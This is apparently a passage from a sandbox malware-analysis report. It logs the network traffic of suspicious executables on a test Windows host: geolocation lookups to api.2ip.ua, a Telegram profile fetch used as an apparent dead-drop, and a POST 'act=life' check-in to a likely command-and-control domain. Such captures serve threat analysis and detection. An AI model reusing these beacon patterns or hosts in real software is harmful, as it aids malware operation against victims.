                                                                                                                                                                                                                                                              2024-02-08 19:17:34 UTC361INData Raw: d0 b7 d0 b5 20 d0 b4 d0 b0 d0 bd d0 bd d1 8b d1 85 2e 20 d0 94 d0 bb d1 8f 20 d0 bf d0 be d0 bb d1 83 d1 87 d0 b5 d0 bd d0 b8 d1 8f 20 d0 b4 d0 be d0 bf d0 be d0 bb d0 bd d0 b8 d1 82 d0 b5 d0 bb d1 8c d0 bd d0 be d0 b9 20 d0 b8 d0 bd d1 84 d0 be d1 80 d0 bc d0 b0 d1 86 d0 b8 d0 b8 2c 20 d0 bf d0 be d0 b6 d0 b0 d0 bb d1 83 d0 b9 d1 81 d1 82 d0 b0 2c 20 d0 be d0 b1 d1 80 d0 b0 d1 89 d0 b0 d0 b9 d1 82 d0 b5 63 d1 8c 20 d0 bf d0 be 20 d0 b0 d0 b4 d1 80 d0 b5 d1 81 d1 83 20 3c 61 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 6c 2f 65 6d 61 69 6c 2d 70 72 6f 74 65 63 74 69 6f 6e 23 38 62 65 33 65 65 65 37 66 62 63 62 62 39 65 32 66 62 61 35 66 65 65 61 62 34 66 38 66 65 65 39 65 31 65 65 65 38 66 66 62 36 62 39 65 32 66 62 61 35 66 65 65 61 22 3e 3c 73 70 61
                                                                                                                                                                                                                                                              Data Ascii: . , , c <a href="/cdn-cgi/l/email-protection#8be3eee7fbcbb9e2fba5feeab4f8fee9e1eee8ffb6b9e2fba5feea"><spa
                                                                                                                                                                                                                                                              2024-02-08 19:17:34 UTC114INData Raw: 36 63 0d 0a 3c 73 63 72 69 70 74 20 64 61 74 61 2d 63 66 61 73 79 6e 63 3d 22 66 61 6c 73 65 22 20 73 72 63 3d 22 2f 63 64 6e 2d 63 67 69 2f 73 63 72 69 70 74 73 2f 35 63 35 64 64 37 32 38 2f 63 6c 6f 75 64 66 6c 61 72 65 2d 73 74 61 74 69 63 2f 65 6d 61 69 6c 2d 64 65 63 6f 64 65 2e 6d 69 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0d 0a
                                                                                                                                                                                                                                                              Data Ascii: 6c<script data-cfasync="false" src="/cdn-cgi/scripts/5c5dd728/cloudflare-static/email-decode.min.js"></script>
                                                                                                                                                                                                                                                              2024-02-08 19:17:34 UTC5INData Raw: 30 0d 0a 0d 0a
                                                                                                                                                                                                                                                              Data Ascii: 0


                                                                                                                                                                                                                                                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                              1192.168.2.549744172.67.139.2204435876C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                              2024-02-08 19:17:36 UTC85OUTGET /geo.json HTTP/1.1
                                                                                                                                                                                                                                                              User-Agent: Microsoft Internet Explorer
                                                                                                                                                                                                                                                              Host: api.2ip.ua
                                                                                                                                                                                                                                                              2024-02-08 19:17:37 UTC920INHTTP/1.1 429 Too Many Requests
                                                                                                                                                                                                                                                              Date: Thu, 08 Feb 2024 19:17:37 GMT
                                                                                                                                                                                                                                                              Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                                              Transfer-Encoding: chunked
                                                                                                                                                                                                                                                              Connection: close
                                                                                                                                                                                                                                                              strict-transport-security: max-age=63072000; preload
                                                                                                                                                                                                                                                              x-frame-options: SAMEORIGIN
                                                                                                                                                                                                                                                              x-content-type-options: nosniff
                                                                                                                                                                                                                                                              x-xss-protection: 1; mode=block; report=...
                                                                                                                                                                                                                                                              access-control-allow-origin: *
                                                                                                                                                                                                                                                              access-control-allow-methods: POST, GET, PUT, OPTIONS, PATCH, DELETE
                                                                                                                                                                                                                                                              access-control-allow-headers: X-Accept-Charset,X-Accept,Content-Type
                                                                                                                                                                                                                                                              CF-Cache-Status: DYNAMIC
                                                                                                                                                                                                                                                              Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=0jGEFCqvJlJrq2FYpln9prv%2BjM93P1S8BpaCT5QDFQmFfx6cjZ30FC9SIBF%2FsdP%2Ff23jfFjQw5hS6Kt%2F%2BYbX7873dnC5oIiOw559XRZDM9d9Knd3yE%2Bc9sC2%2F1LD"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                                              NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                                              Server: cloudflare
                                                                                                                                                                                                                                                              CF-RAY: 852636bb3ebc6760-ATL
                                                                                                                                                                                                                                                              alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                                                                                              2024-02-08 19:17:37 UTC449INData Raw: 33 39 62 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 63 6c 61 73 73 65 73 2f 73 74 79 6c 65 2e 63 73 73 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 2f 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 65 72 72 6f 72 22 3e 0a 4c 69 6d 69 74 20 6f 66 20 72 65 74 75 72 6e 65 64 20 6f 62 6a 65 63 74 73 20 68 61 73 20 62 65 65 6e 20 72 65 61 63 68 65 64 2e 20 46 6f 72 20 6d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 70 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 62 79 20 65 6d 61 69 6c 20 3c 61 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 6c 2f 65 6d 61 69 6c 2d 70 72 6f 74 65 63 74 69 6f 6e 23 35 64 33 35 33 38 33 31 32 64 31 64 36 66 33 34 32 64 37 33 33 30 33 38 36 32 32 65 32 38 33 66 33 37 33 38 33 65
                                                                                                                                                                                                                                                              Data Ascii: 39b<link rel="stylesheet" href="classes/style.css" type="text/css" /><div class="error">Limit of returned objects has been reached. For more information please contact by email <a href="/cdn-cgi/l/email-protection#5d3538312d1d6f342d733038622e283f37383e
                                                                                                                                                                                                                                                              2024-02-08 19:17:37 UTC481INData Raw: d0 be d0 b2 20 d0 ba 20 d0 b1 d0 b0 d0 b7 d0 b5 20 d0 b4 d0 b0 d0 bd d0 bd d1 8b d1 85 2e 20 d0 94 d0 bb d1 8f 20 d0 bf d0 be d0 bb d1 83 d1 87 d0 b5 d0 bd d0 b8 d1 8f 20 d0 b4 d0 be d0 bf d0 be d0 bb d0 bd d0 b8 d1 82 d0 b5 d0 bb d1 8c d0 bd d0 be d0 b9 20 d0 b8 d0 bd d1 84 d0 be d1 80 d0 bc d0 b0 d1 86 d0 b8 d0 b8 2c 20 d0 bf d0 be d0 b6 d0 b0 d0 bb d1 83 d0 b9 d1 81 d1 82 d0 b0 2c 20 d0 be d0 b1 d1 80 d0 b0 d1 89 d0 b0 d0 b9 d1 82 d0 b5 63 d1 8c 20 d0 bf d0 be 20 d0 b0 d0 b4 d1 80 d0 b5 d1 81 d1 83 20 3c 61 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 6c 2f 65 6d 61 69 6c 2d 70 72 6f 74 65 63 74 69 6f 6e 23 34 63 32 34 32 39 32 30 33 63 30 63 37 65 32 35 33 63 36 32 33 39 32 64 37 33 33 66 33 39 32 65 32 36 32 39 32 66 33 38 37 31 37 65 32 35 33 63
                                                                                                                                                                                                                                                              Data Ascii: . , , c <a href="/cdn-cgi/l/email-protection#4c2429203c0c7e253c62392d733f392e26292f38717e253c
                                                                                                                                                                                                                                                              2024-02-08 19:17:37 UTC5INData Raw: 30 0d 0a 0d 0a
                                                                                                                                                                                                                                                              Data Ascii: 0


                                                                                                                                                                                                                                                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                              2192.168.2.549746172.67.139.2204433560C:\Users\user\AppData\Local\149a1800-3150-4d5d-a89e-b5c51b72b1f9\EE23.exe
                                                                                                                                                                                                                                                              TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                              2024-02-08 19:17:37 UTC85OUTGET /geo.json HTTP/1.1
                                                                                                                                                                                                                                                              User-Agent: Microsoft Internet Explorer
                                                                                                                                                                                                                                                              Host: api.2ip.ua
                                                                                                                                                                                                                                                              2024-02-08 19:17:37 UTC910INHTTP/1.1 429 Too Many Requests
                                                                                                                                                                                                                                                              Date: Thu, 08 Feb 2024 19:17:37 GMT
                                                                                                                                                                                                                                                              Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                                              Transfer-Encoding: chunked
                                                                                                                                                                                                                                                              Connection: close
                                                                                                                                                                                                                                                              strict-transport-security: max-age=63072000; preload
                                                                                                                                                                                                                                                              x-frame-options: SAMEORIGIN
                                                                                                                                                                                                                                                              x-content-type-options: nosniff
                                                                                                                                                                                                                                                              x-xss-protection: 1; mode=block; report=...
                                                                                                                                                                                                                                                              access-control-allow-origin: *
                                                                                                                                                                                                                                                              access-control-allow-methods: POST, GET, PUT, OPTIONS, PATCH, DELETE
                                                                                                                                                                                                                                                              access-control-allow-headers: X-Accept-Charset,X-Accept,Content-Type
                                                                                                                                                                                                                                                              CF-Cache-Status: DYNAMIC
                                                                                                                                                                                                                                                              Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=VP0McQjGUpSWKzYPgrTuyHZ8ET%2F1oAOcMrgFaWlo5t6myyTjXmHisSUj0rzEXV0gx9HNO2NXqYUOKkWtDBcdsxZm%2FZdel7BWUSOsgmNQMBfpo87IzUdtsRegFRW3"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                                              NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                                              Server: cloudflare
                                                                                                                                                                                                                                                              CF-RAY: 852636bccd8f4588-ATL
                                                                                                                                                                                                                                                              alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                                                                                              2024-02-08 19:17:37 UTC459INData Raw: 33 39 62 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 63 6c 61 73 73 65 73 2f 73 74 79 6c 65 2e 63 73 73 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 2f 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 65 72 72 6f 72 22 3e 0a 4c 69 6d 69 74 20 6f 66 20 72 65 74 75 72 6e 65 64 20 6f 62 6a 65 63 74 73 20 68 61 73 20 62 65 65 6e 20 72 65 61 63 68 65 64 2e 20 46 6f 72 20 6d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 70 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 62 79 20 65 6d 61 69 6c 20 3c 61 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 6c 2f 65 6d 61 69 6c 2d 70 72 6f 74 65 63 74 69 6f 6e 23 62 31 64 39 64 34 64 64 63 31 66 31 38 33 64 38 63 31 39 66 64 63 64 34 38 65 63 32 63 34 64 33 64 62 64 34 64 32
                                                                                                                                                                                                                                                              Data Ascii: 39b<link rel="stylesheet" href="classes/style.css" type="text/css" /><div class="error">Limit of returned objects has been reached. For more information please contact by email <a href="/cdn-cgi/l/email-protection#b1d9d4ddc1f183d8c19fdcd48ec2c4d3dbd4d2
                                                                                                                                                                                                                                                              2024-02-08 19:17:37 UTC471INData Raw: d0 b0 d0 b7 d0 b5 20 d0 b4 d0 b0 d0 bd d0 bd d1 8b d1 85 2e 20 d0 94 d0 bb d1 8f 20 d0 bf d0 be d0 bb d1 83 d1 87 d0 b5 d0 bd d0 b8 d1 8f 20 d0 b4 d0 be d0 bf d0 be d0 bb d0 bd d0 b8 d1 82 d0 b5 d0 bb d1 8c d0 bd d0 be d0 b9 20 d0 b8 d0 bd d1 84 d0 be d1 80 d0 bc d0 b0 d1 86 d0 b8 d0 b8 2c 20 d0 bf d0 be d0 b6 d0 b0 d0 bb d1 83 d0 b9 d1 81 d1 82 d0 b0 2c 20 d0 be d0 b1 d1 80 d0 b0 d1 89 d0 b0 d0 b9 d1 82 d0 b5 63 d1 8c 20 d0 bf d0 be 20 d0 b0 d0 b4 d1 80 d0 b5 d1 81 d1 83 20 3c 61 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 6c 2f 65 6d 61 69 6c 2d 70 72 6f 74 65 63 74 69 6f 6e 23 39 35 66 64 66 30 66 39 65 35 64 35 61 37 66 63 65 35 62 62 65 30 66 34 61 61 65 36 65 30 66 37 66 66 66 30 66 36 65 31 61 38 61 37 66 63 65 35 62 62 65 30 66 34 22 3e 3c 73
                                                                                                                                                                                                                                                              Data Ascii: . , , c <a href="/cdn-cgi/l/email-protection#95fdf0f9e5d5a7fce5bbe0f4aae6e0f7fff0f6e1a8a7fce5bbe0f4"><s
                                                                                                                                                                                                                                                              2024-02-08 19:17:37 UTC5INData Raw: 30 0d 0a 0d 0a
                                                                                                                                                                                                                                                              Data Ascii: 0


                                                                                                                                                                                                                                                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                              3192.168.2.549764149.154.167.994432576C:\Users\user\AppData\Local\e67ac349-4489-4d00-b370-e055cce7f968\build2.exe
                                                                                                                                                                                                                                                              TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                              2024-02-08 19:17:46 UTC86OUTGET /newagev HTTP/1.1
                                                                                                                                                                                                                                                              Host: t.me
                                                                                                                                                                                                                                                              Connection: Keep-Alive
                                                                                                                                                                                                                                                              Cache-Control: no-cache
                                                                                                                                                                                                                                                              2024-02-08 19:17:46 UTC511INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                              Server: nginx/1.18.0
                                                                                                                                                                                                                                                              Date: Thu, 08 Feb 2024 19:17:46 GMT
                                                                                                                                                                                                                                                              Content-Type: text/html; charset=utf-8
                                                                                                                                                                                                                                                              Content-Length: 12336
                                                                                                                                                                                                                                                              Connection: close
                                                                                                                                                                                                                                                              Set-Cookie: stel_ssid=9971d6a7f8c20a7b5d_7276538028756186126; expires=Fri, 09 Feb 2024 19:17:46 GMT; path=/; samesite=None; secure; HttpOnly
                                                                                                                                                                                                                                                              Pragma: no-cache
                                                                                                                                                                                                                                                              Cache-control: no-store
                                                                                                                                                                                                                                                              X-Frame-Options: ALLOW-FROM https://web.telegram.org
                                                                                                                                                                                                                                                              Content-Security-Policy: frame-ancestors https://web.telegram.org
                                                                                                                                                                                                                                                              Strict-Transport-Security: max-age=35768000
                                                                                                                                                                                                                                                              2024-02-08 19:17:46 UTC12336INData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 54 65 6c 65 67 72 61 6d 3a 20 43 6f 6e 74 61 63 74 20 40 6e 65 77 61 67 65 76 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 73 63 72 69 70 74 3e 74 72 79 7b 69 66 28 77 69 6e 64 6f 77 2e 70 61 72 65 6e 74 21 3d 6e 75 6c 6c 26 26 77 69 6e 64 6f 77 21 3d 77 69 6e 64 6f 77 2e 70 61 72 65 6e 74 29 7b 77 69 6e 64 6f 77 2e 70 61 72 65 6e
                                                                                                                                                                                                                                                              Data Ascii: <!DOCTYPE html><html> <head> <meta charset="utf-8"> <title>Telegram: Contact @newagev</title> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <script>try{if(window.parent!=null&&window!=window.parent){window.paren


                                                                                                                                                                                                                                                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                              4192.168.2.549769172.67.139.2204432836C:\Users\user\AppData\Local\149a1800-3150-4d5d-a89e-b5c51b72b1f9\EE23.exe
                                                                                                                                                                                                                                                              TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                              2024-02-08 19:17:47 UTC85OUTGET /geo.json HTTP/1.1
                                                                                                                                                                                                                                                              User-Agent: Microsoft Internet Explorer
                                                                                                                                                                                                                                                              Host: api.2ip.ua
                                                                                                                                                                                                                                                              2024-02-08 19:17:47 UTC916INHTTP/1.1 429 Too Many Requests
                                                                                                                                                                                                                                                              Date: Thu, 08 Feb 2024 19:17:47 GMT
                                                                                                                                                                                                                                                              Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                                              Transfer-Encoding: chunked
                                                                                                                                                                                                                                                              Connection: close
                                                                                                                                                                                                                                                              strict-transport-security: max-age=63072000; preload
                                                                                                                                                                                                                                                              x-frame-options: SAMEORIGIN
                                                                                                                                                                                                                                                              x-content-type-options: nosniff
                                                                                                                                                                                                                                                              x-xss-protection: 1; mode=block; report=...
                                                                                                                                                                                                                                                              access-control-allow-origin: *
                                                                                                                                                                                                                                                              access-control-allow-methods: POST, GET, PUT, OPTIONS, PATCH, DELETE
                                                                                                                                                                                                                                                              access-control-allow-headers: X-Accept-Charset,X-Accept,Content-Type
                                                                                                                                                                                                                                                              CF-Cache-Status: DYNAMIC
                                                                                                                                                                                                                                                              Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=EmQm%2FkAXCTtYyCE%2BqPWEHXngMqLiQiFs1o5nV95GIviUHsQdZ2enjQJDrVJ9is43csIjZ4umvMdE5d1YG7jx7iu%2F0zBicTrO33i9nNHSWtty%2Bld9K3Y6t5U6aS%2F5"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                                              NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                                              Server: cloudflare
                                                                                                                                                                                                                                                              CF-RAY: 852636fcba8653d4-ATL
                                                                                                                                                                                                                                                              alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                                                                                              2024-02-08 19:17:47 UTC453INData Raw: 33 39 62 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 63 6c 61 73 73 65 73 2f 73 74 79 6c 65 2e 63 73 73 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 2f 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 65 72 72 6f 72 22 3e 0a 4c 69 6d 69 74 20 6f 66 20 72 65 74 75 72 6e 65 64 20 6f 62 6a 65 63 74 73 20 68 61 73 20 62 65 65 6e 20 72 65 61 63 68 65 64 2e 20 46 6f 72 20 6d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 70 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 62 79 20 65 6d 61 69 6c 20 3c 61 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 6c 2f 65 6d 61 69 6c 2d 70 72 6f 74 65 63 74 69 6f 6e 23 35 61 33 32 33 66 33 36 32 61 31 61 36 38 33 33 32 61 37 34 33 37 33 66 36 35 32 39 32 66 33 38 33 30 33 66 33 39
                                                                                                                                                                                                                                                              Data Ascii: 39b<link rel="stylesheet" href="classes/style.css" type="text/css" /><div class="error">Limit of returned objects has been reached. For more information please contact by email <a href="/cdn-cgi/l/email-protection#5a323f362a1a68332a74373f65292f38303f39
                                                                                                                                                                                                                                                              2024-02-08 19:17:47 UTC477INData Raw: 20 d0 ba 20 d0 b1 d0 b0 d0 b7 d0 b5 20 d0 b4 d0 b0 d0 bd d0 bd d1 8b d1 85 2e 20 d0 94 d0 bb d1 8f 20 d0 bf d0 be d0 bb d1 83 d1 87 d0 b5 d0 bd d0 b8 d1 8f 20 d0 b4 d0 be d0 bf d0 be d0 bb d0 bd d0 b8 d1 82 d0 b5 d0 bb d1 8c d0 bd d0 be d0 b9 20 d0 b8 d0 bd d1 84 d0 be d1 80 d0 bc d0 b0 d1 86 d0 b8 d0 b8 2c 20 d0 bf d0 be d0 b6 d0 b0 d0 bb d1 83 d0 b9 d1 81 d1 82 d0 b0 2c 20 d0 be d0 b1 d1 80 d0 b0 d1 89 d0 b0 d0 b9 d1 82 d0 b5 63 d1 8c 20 d0 bf d0 be 20 d0 b0 d0 b4 d1 80 d0 b5 d1 81 d1 83 20 3c 61 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 6c 2f 65 6d 61 69 6c 2d 70 72 6f 74 65 63 74 69 6f 6e 23 33 37 35 66 35 32 35 62 34 37 37 37 30 35 35 65 34 37 31 39 34 32 35 36 30 38 34 34 34 32 35 35 35 64 35 32 35 34 34 33 30 61 30 35 35 65 34 37 31 39 34 32
                                                                                                                                                                                                                                                              Data Ascii: . , , c <a href="/cdn-cgi/l/email-protection#375f525b4777055e47194256084442555d5254430a055e471942
                                                                                                                                                                                                                                                              2024-02-08 19:17:47 UTC5INData Raw: 30 0d 0a 0d 0a
                                                                                                                                                                                                                                                              Data Ascii: 0


                                                                                                                                                                                                                                                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                              5192.168.2.549778172.67.139.2204433292C:\Users\user\AppData\Local\149a1800-3150-4d5d-a89e-b5c51b72b1f9\EE23.exe
                                                                                                                                                                                                                                                              TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                              2024-02-08 19:17:55 UTC85OUTGET /geo.json HTTP/1.1
                                                                                                                                                                                                                                                              User-Agent: Microsoft Internet Explorer
                                                                                                                                                                                                                                                              Host: api.2ip.ua
                                                                                                                                                                                                                                                              2024-02-08 19:17:56 UTC910INHTTP/1.1 429 Too Many Requests
                                                                                                                                                                                                                                                              Date: Thu, 08 Feb 2024 19:17:56 GMT
                                                                                                                                                                                                                                                              Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                                              Transfer-Encoding: chunked
                                                                                                                                                                                                                                                              Connection: close
                                                                                                                                                                                                                                                              strict-transport-security: max-age=63072000; preload
                                                                                                                                                                                                                                                              x-frame-options: SAMEORIGIN
                                                                                                                                                                                                                                                              x-content-type-options: nosniff
                                                                                                                                                                                                                                                              x-xss-protection: 1; mode=block; report=...
                                                                                                                                                                                                                                                              access-control-allow-origin: *
                                                                                                                                                                                                                                                              access-control-allow-methods: POST, GET, PUT, OPTIONS, PATCH, DELETE
                                                                                                                                                                                                                                                              access-control-allow-headers: X-Accept-Charset,X-Accept,Content-Type
                                                                                                                                                                                                                                                              CF-Cache-Status: DYNAMIC
                                                                                                                                                                                                                                                              Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=Gyvmdyji6e6j2dqucyzXIQ25v9HOAR9ZLfGd%2FR8h4K25SR0wmJvYCmMN8EHJKfIPjDwOIkgdjfUmA63n%2FPPCdAwqtc8FjBX9k3nlCtNKQRHwXLzVpWQcdOqIldey"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                                              NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                                              Server: cloudflare
                                                                                                                                                                                                                                                              CF-RAY: 8526372f9d1eb06a-ATL
                                                                                                                                                                                                                                                              alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                                                                                              2024-02-08 19:17:56 UTC459INData Raw: 33 32 66 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 63 6c 61 73 73 65 73 2f 73 74 79 6c 65 2e 63 73 73 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 2f 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 65 72 72 6f 72 22 3e 0a 4c 69 6d 69 74 20 6f 66 20 72 65 74 75 72 6e 65 64 20 6f 62 6a 65 63 74 73 20 68 61 73 20 62 65 65 6e 20 72 65 61 63 68 65 64 2e 20 46 6f 72 20 6d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 70 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 62 79 20 65 6d 61 69 6c 20 3c 61 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 6c 2f 65 6d 61 69 6c 2d 70 72 6f 74 65 63 74 69 6f 6e 23 39 36 66 65 66 33 66 61 65 36 64 36 61 34 66 66 65 36 62 38 66 62 66 33 61 39 65 35 65 33 66 34 66 63 66 33 66 35
                                                                                                                                                                                                                                                              Data Ascii: 32f<link rel="stylesheet" href="classes/style.css" type="text/css" /><div class="error">Limit of returned objects has been reached. For more information please contact by email <a href="/cdn-cgi/l/email-protection#96fef3fae6d6a4ffe6b8fbf3a9e5e3f4fcf3f5
                                                                                                                                                                                                                                                              2024-02-08 19:17:56 UTC363INData Raw: d0 b0 d0 b7 d0 b5 20 d0 b4 d0 b0 d0 bd d0 bd d1 8b d1 85 2e 20 d0 94 d0 bb d1 8f 20 d0 bf d0 be d0 bb d1 83 d1 87 d0 b5 d0 bd d0 b8 d1 8f 20 d0 b4 d0 be d0 bf d0 be d0 bb d0 bd d0 b8 d1 82 d0 b5 d0 bb d1 8c d0 bd d0 be d0 b9 20 d0 b8 d0 bd d1 84 d0 be d1 80 d0 bc d0 b0 d1 86 d0 b8 d0 b8 2c 20 d0 bf d0 be d0 b6 d0 b0 d0 bb d1 83 d0 b9 d1 81 d1 82 d0 b0 2c 20 d0 be d0 b1 d1 80 d0 b0 d1 89 d0 b0 d0 b9 d1 82 d0 b5 63 d1 8c 20 d0 bf d0 be 20 d0 b0 d0 b4 d1 80 d0 b5 d1 81 d1 83 20 3c 61 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 6c 2f 65 6d 61 69 6c 2d 70 72 6f 74 65 63 74 69 6f 6e 23 35 35 33 64 33 30 33 39 32 35 31 35 36 37 33 63 32 35 37 62 32 30 33 34 36 61 32 36 32 30 33 37 33 66 33 30 33 36 32 31 36 38 36 37 33 63 32 35 37 62 32 30 33 34 22 3e 3c 73
                                                                                                                                                                                                                                                              Data Ascii: . , , c <a href="/cdn-cgi/l/email-protection#553d30392515673c257b20346a2620373f30362168673c257b2034"><s
                                                                                                                                                                                                                                                              2024-02-08 19:17:56 UTC114INData Raw: 36 63 0d 0a 3c 73 63 72 69 70 74 20 64 61 74 61 2d 63 66 61 73 79 6e 63 3d 22 66 61 6c 73 65 22 20 73 72 63 3d 22 2f 63 64 6e 2d 63 67 69 2f 73 63 72 69 70 74 73 2f 35 63 35 64 64 37 32 38 2f 63 6c 6f 75 64 66 6c 61 72 65 2d 73 74 61 74 69 63 2f 65 6d 61 69 6c 2d 64 65 63 6f 64 65 2e 6d 69 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0d 0a
                                                                                                                                                                                                                                                              Data Ascii: 6c<script data-cfasync="false" src="/cdn-cgi/scripts/5c5dd728/cloudflare-static/email-decode.min.js"></script>
                                                                                                                                                                                                                                                              2024-02-08 19:17:56 UTC5INData Raw: 30 0d 0a 0d 0a
                                                                                                                                                                                                                                                              Data Ascii: 0


                                                                                                                                                                                                                                                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                              6192.168.2.549783104.21.94.24434140C:\Users\user\AppData\Local\Temp\84F5.exe
                                                                                                                                                                                                                                                              TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                              2024-02-08 19:18:01 UTC271OUTPOST /api HTTP/1.1
                                                                                                                                                                                                                                                              Connection: Keep-Alive
                                                                                                                                                                                                                                                              Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                                                                              User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
                                                                                                                                                                                                                                                              Content-Length: 8
                                                                                                                                                                                                                                                              Host: resergvearyinitiani.shop
                                                                                                                                                                                                                                                              2024-02-08 19:18:01 UTC8OUTData Raw: 61 63 74 3d 6c 69 66 65
                                                                                                                                                                                                                                                              Data Ascii: act=life
                                                                                                                                                                                                                                                              2024-02-08 19:18:02 UTC816INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                              Date: Thu, 08 Feb 2024 19:18:01 GMT
                                                                                                                                                                                                                                                              Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                                              Transfer-Encoding: chunked
                                                                                                                                                                                                                                                              Connection: close
                                                                                                                                                                                                                                                              Set-Cookie: PHPSESSID=7a54j0thqfurvof4a6mdm69hm3; expires=Mon, 03-Jun-2024 13:04:40 GMT; Max-Age=9999999; path=/
                                                                                                                                                                                                                                                              Expires: Thu, 19 Nov 1981 08:52:00 GMT
                                                                                                                                                                                                                                                              Cache-Control: no-store, no-cache, must-revalidate
                                                                                                                                                                                                                                                              Pragma: no-cache
                                                                                                                                                                                                                                                              CF-Cache-Status: DYNAMIC
                                                                                                                                                                                                                                                              Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=7trVuxnmJ3b64FGOgzQrVr%2BJlqcYLpVlp39pXYJIBN12V8KXrfnm%2By9WpGy53m%2FIaMc%2B8rXGoL36bMNGtSdr%2BU1YCg%2Fr5eGS9QMhnjHAMmp54hIKMSpam6gLnWFQ1v8C7FEWKB40kfatlQ0%3D"}],"group":"cf-nel","max_age":604800}
